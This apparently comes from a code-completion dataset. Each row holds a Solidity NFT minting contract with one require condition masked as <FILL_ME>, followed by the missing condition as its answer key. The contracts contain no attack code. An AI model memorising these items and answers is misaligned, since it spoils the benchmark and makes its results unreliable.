string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
require(_tokenIds.current() + nMint <= MAX_SUPPLY, "No more NFT to mint");
require(<FILL_ME>)
require(balanceOf(recipient) + nMint <= MAX_PER_WALLET, "Too much NFT minted");
current_supply -= nMint;
uint256[] memory newItemIds = new uint256[](nMint);
for (uint256 i = 0; i < nMint; i++)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(recipient, 1);
// _mint(recipient, 1);
_tokenOwners[newItemId] = recipient;
_tokenIdsList.push(newItemId);
setTokenURI(newItemId, PLACEHOLDER_URI, Faction.None);
addHolder(recipient);
newItemIds[i] = newItemId;
}
return newItemIds;
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| _tokenIds.current()+nMint<=current_supply,"No more NFT to mint currently" | 490,534 | _tokenIds.current()+nMint<=current_supply |
"Too much NFT minted" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
require(_tokenIds.current() + nMint <= MAX_SUPPLY, "No more NFT to mint");
require(_tokenIds.current() + nMint <= current_supply, "No more NFT to mint currently");
require(<FILL_ME>)
current_supply -= nMint;
uint256[] memory newItemIds = new uint256[](nMint);
for (uint256 i = 0; i < nMint; i++)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(recipient, 1);
// _mint(recipient, 1);
_tokenOwners[newItemId] = recipient;
_tokenIdsList.push(newItemId);
setTokenURI(newItemId, PLACEHOLDER_URI, Faction.None);
addHolder(recipient);
newItemIds[i] = newItemId;
}
return newItemIds;
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| balanceOf(recipient)+nMint<=MAX_PER_WALLET,"Too much NFT minted" | 490,534 | balanceOf(recipient)+nMint<=MAX_PER_WALLET |
"Too much supply" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
require(<FILL_ME>)
current_supply = supply;
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| getCurrentSupply()+supply<=MAX_SUPPLY,"Too much supply" | 490,534 | getCurrentSupply()+supply<=MAX_SUPPLY |
"Not enough NFT to send one" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0;
import "https://github.com/chiru-labs/ERC721A/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CosmoGang is ERC721A, Ownable {
address public constant MAIN_ADDRESS = 0x9C21c877B44eBac7F0E8Ee99dB4ebFD4A9Ac5000;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_WALLET = 5;
// string public constant PLACEHOLDER_URI = "https://infura-ipfs.io/ipfs/QmZ4oaUmJqXuVCZJAPQCfmkKyjv4muC1DS7d8hFu1meDEn";
// string public constant PLACEHOLDER_URI = "ipfs://infura-ipfs.io/ipfs/QmP1c2YSBYPmLNGSeC7S91u9isPi1RUt3PP4QVjphaEpJX";
string public constant PLACEHOLDER_URI = "https://bafybeih6b2d4aqvcsw6sv3cu2pi3doldwa4lq42w34ismwvfrictsod5nu.ipfs.infura-ipfs.io/";
enum Faction {None, Jahjahrion, Breedorok, Foodrak, Pimpmyridian,
Muskarion, Lamborgardoz, Schumarian, Creatron}
uint256 public price = 0 ether;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public current_supply = 2000;
uint256[] public _tokenIdsList;
mapping (uint256 => string) public tokenURIs;
mapping (uint256 => address) private _tokenOwners;
mapping (uint256 => Faction) public tokenFactions;
address[] public holders;
address[] public whitelist;
mapping(string => uint8) public hashes;
bool public isMinting = false;
mapping(address => uint) private balance;
mapping(address => uint) private presaleAmount;
constructor() ERC721A("TheCosmoGang", "CG")
{
}
function startMinting()
public onlyOwner
{
}
function stopMinting()
public onlyOwner
{
}
// Mint Logic
function _mintNFT(uint256 nMint, address recipient)
private
returns (uint256[] memory)
{
}
// Normal Mint
function mintNFT(uint256 nMint, address recipient)
external payable
returns (uint256[] memory)
{
}
// Free Mint
function giveaway(uint256 nMint, address recipient)
external onlyOwner
returns (uint256[] memory)
{
}
function burnNFT(uint256 tokenId)
external onlyOwner
{
}
function setCurrentSupply(uint256 supply)
external onlyOwner
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
{
require(<FILL_ME>)
super.transferFrom(from, to, tokenId);
}
function tokenURI(uint256 tokenId)
public view
override
returns (string memory)
{
}
function setTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
private
// override(ERC721)
{
}
function updateTokenURI(uint256 tokenId, string memory _tokenURI, Faction faction)
external onlyOwner
// override(ERC721A)
{
}
function setPrice(uint256 priceGwei)
external onlyOwner
{
}
function getTokenIds()
external view onlyOwner
returns (uint256[] memory)
{
}
function getTokenIdsOf(address addr)
external view onlyOwner
returns (uint256[] memory)
{
}
function getCurrentSupply()
public view
returns (uint256)
{
}
function addHolder(address addr)
private
{
}
function removeHolder(address addr)
private
{
}
function isHolder(address addr)
public view
returns (bool)
{
}
function withdraw()
public
payable
{
}
function getETHBalance(address addr)
public view
returns (uint)
{
}
function random()
public view
returns (uint)
{
}
function getRandomHolder()
public view
returns (address)
{
}
function getContractBalance()
public view
returns (uint256)
{
}
receive()
external payable
{
}
fallback()
external
{
}
}
| balanceOf(from)>1,"Not enough NFT to send one" | 490,534 | balanceOf(from)>1 |
"Mint would exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721AQueryable.sol";
/*
RETROOOOTOWN
RETROOOOOOOOTOWN OOO
OOOOOO OOOOO OOOO
OOOOOO OOOOO OOOTWONOOO ORETROOOTOWNO OOO OOO ORETRO
OOOOOOO OOOOOO RETROOOOOOTOWN OOOOOBEARDOOOO OOOO OOOOO RETROOOOTOWN
OBUZZKILLEROO OOOOOO OOOOOO OOOO OOFREAKOO ORETROO OCARO
OOOOO OOOOO OOTOTHEMOONOO OOOO OOOOOOO OOOOOO OOOOO
OOOO OOOOOOO OOOOO OOOO OOOOO OOOOO OOOOO
OOOOO OOOLANDOO OOOO OOOO OOOO OO OOOOO OOOOO OOOOO
OOOOO OOOEVILOO OOOCHICKOO OOOOOO OOOOO OOZOMBIEOOO
OOOOO OOOOOOO OOOOO OOO OOOOOO
*/
contract RetrooooTown is ERC721AQueryable, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_FREE_MINT_NUM = 1500;
uint256 public constant MAX_PUBLIC_MINT_PER_WALLET = 5;
uint256 public constant TEAM_RESERVE_NUM = 500;
uint256 public constant PRICE = 0.005 ether;
bool public publicMintActive;
bool public freeMintActive;
uint256 public freeMintNum;
uint256 public teamMintNum;
mapping(address => uint256) public freeMinted;
string private _matadataURI;
constructor() ERC721A("RetrooooTown", "RT") {
}
modifier callerIsUser() {
}
modifier maxSupplyCompliance(uint256 num) {
require(<FILL_ME>)
_;
}
modifier publicMintCompliance(uint256 num) {
}
modifier freeMintCompliance() {
}
modifier teamMintCompliance(uint256 num) {
}
function _startTokenId() internal pure override returns (uint) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function contractURI() public pure returns (string memory) {
}
function mint(uint256 num)
external
payable
maxSupplyCompliance(num)
publicMintCompliance(num)
callerIsUser
{
}
function freeMint()
external
maxSupplyCompliance(1)
freeMintCompliance
callerIsUser
{
}
function teamMint(uint256 num, address to)
external
maxSupplyCompliance(num)
teamMintCompliance(num)
onlyOwner
{
}
function flipPublicMintActive() external onlyOwner {
}
function flipFreeMintActive() external onlyOwner {
}
function setMetadataURI(string calldata metadataURI) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
}
| _totalMinted()+num<=MAX_SUPPLY,"Mint would exceed max supply" | 490,645 | _totalMinted()+num<=MAX_SUPPLY |
"Mint would exceed max public mint for this wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721AQueryable.sol";
/*
RETROOOOTOWN
RETROOOOOOOOTOWN OOO
OOOOOO OOOOO OOOO
OOOOOO OOOOO OOOTWONOOO ORETROOOTOWNO OOO OOO ORETRO
OOOOOOO OOOOOO RETROOOOOOTOWN OOOOOBEARDOOOO OOOO OOOOO RETROOOOTOWN
OBUZZKILLEROO OOOOOO OOOOOO OOOO OOFREAKOO ORETROO OCARO
OOOOO OOOOO OOTOTHEMOONOO OOOO OOOOOOO OOOOOO OOOOO
OOOO OOOOOOO OOOOO OOOO OOOOO OOOOO OOOOO
OOOOO OOOLANDOO OOOO OOOO OOOO OO OOOOO OOOOO OOOOO
OOOOO OOOEVILOO OOOCHICKOO OOOOOO OOOOO OOZOMBIEOOO
OOOOO OOOOOOO OOOOO OOO OOOOOO
*/
contract RetrooooTown is ERC721AQueryable, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_FREE_MINT_NUM = 1500;
uint256 public constant MAX_PUBLIC_MINT_PER_WALLET = 5;
uint256 public constant TEAM_RESERVE_NUM = 500;
uint256 public constant PRICE = 0.005 ether;
bool public publicMintActive;
bool public freeMintActive;
uint256 public freeMintNum;
uint256 public teamMintNum;
mapping(address => uint256) public freeMinted;
string private _matadataURI;
constructor() ERC721A("RetrooooTown", "RT") {
}
modifier callerIsUser() {
}
modifier maxSupplyCompliance(uint256 num) {
}
modifier publicMintCompliance(uint256 num) {
require(publicMintActive, "Public mint is not active");
require(msg.value >= PRICE * num, "Insufficient ethers");
require(<FILL_ME>)
_;
}
modifier freeMintCompliance() {
}
modifier teamMintCompliance(uint256 num) {
}
function _startTokenId() internal pure override returns (uint) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function contractURI() public pure returns (string memory) {
}
function mint(uint256 num)
external
payable
maxSupplyCompliance(num)
publicMintCompliance(num)
callerIsUser
{
}
function freeMint()
external
maxSupplyCompliance(1)
freeMintCompliance
callerIsUser
{
}
function teamMint(uint256 num, address to)
external
maxSupplyCompliance(num)
teamMintCompliance(num)
onlyOwner
{
}
function flipPublicMintActive() external onlyOwner {
}
function flipFreeMintActive() external onlyOwner {
}
function setMetadataURI(string calldata metadataURI) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
}
| _numberMinted(msg.sender)+num-freeMinted[msg.sender]<=MAX_PUBLIC_MINT_PER_WALLET,"Mint would exceed max public mint for this wallet" | 490,645 | _numberMinted(msg.sender)+num-freeMinted[msg.sender]<=MAX_PUBLIC_MINT_PER_WALLET |
"Only 1 free per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721AQueryable.sol";
/*
RETROOOOTOWN
RETROOOOOOOOTOWN OOO
OOOOOO OOOOO OOOO
OOOOOO OOOOO OOOTWONOOO ORETROOOTOWNO OOO OOO ORETRO
OOOOOOO OOOOOO RETROOOOOOTOWN OOOOOBEARDOOOO OOOO OOOOO RETROOOOTOWN
OBUZZKILLEROO OOOOOO OOOOOO OOOO OOFREAKOO ORETROO OCARO
OOOOO OOOOO OOTOTHEMOONOO OOOO OOOOOOO OOOOOO OOOOO
OOOO OOOOOOO OOOOO OOOO OOOOO OOOOO OOOOO
OOOOO OOOLANDOO OOOO OOOO OOOO OO OOOOO OOOOO OOOOO
OOOOO OOOEVILOO OOOCHICKOO OOOOOO OOOOO OOZOMBIEOOO
OOOOO OOOOOOO OOOOO OOO OOOOOO
*/
contract RetrooooTown is ERC721AQueryable, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 7777;
uint256 public constant MAX_FREE_MINT_NUM = 1500;
uint256 public constant MAX_PUBLIC_MINT_PER_WALLET = 5;
uint256 public constant TEAM_RESERVE_NUM = 500;
uint256 public constant PRICE = 0.005 ether;
bool public publicMintActive;
bool public freeMintActive;
uint256 public freeMintNum;
uint256 public teamMintNum;
mapping(address => uint256) public freeMinted;
string private _matadataURI;
constructor() ERC721A("RetrooooTown", "RT") {
}
modifier callerIsUser() {
}
modifier maxSupplyCompliance(uint256 num) {
}
modifier publicMintCompliance(uint256 num) {
}
modifier freeMintCompliance() {
require(freeMintActive, "Free mint is not active");
require(
freeMintNum < MAX_FREE_MINT_NUM,
"Mint would exceed max supply of free mints"
);
require(<FILL_ME>)
_;
}
modifier teamMintCompliance(uint256 num) {
}
function _startTokenId() internal pure override returns (uint) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function numberMinted(address owner) public view returns (uint256) {
}
function contractURI() public pure returns (string memory) {
}
function mint(uint256 num)
external
payable
maxSupplyCompliance(num)
publicMintCompliance(num)
callerIsUser
{
}
function freeMint()
external
maxSupplyCompliance(1)
freeMintCompliance
callerIsUser
{
}
function teamMint(uint256 num, address to)
external
maxSupplyCompliance(num)
teamMintCompliance(num)
onlyOwner
{
}
function flipPublicMintActive() external onlyOwner {
}
function flipFreeMintActive() external onlyOwner {
}
function setMetadataURI(string calldata metadataURI) external onlyOwner {
}
function withdraw(address to) external onlyOwner {
}
}
| freeMinted[msg.sender]==0,"Only 1 free per wallet" | 490,645 | freeMinted[msg.sender]==0 |
Subsets and Splits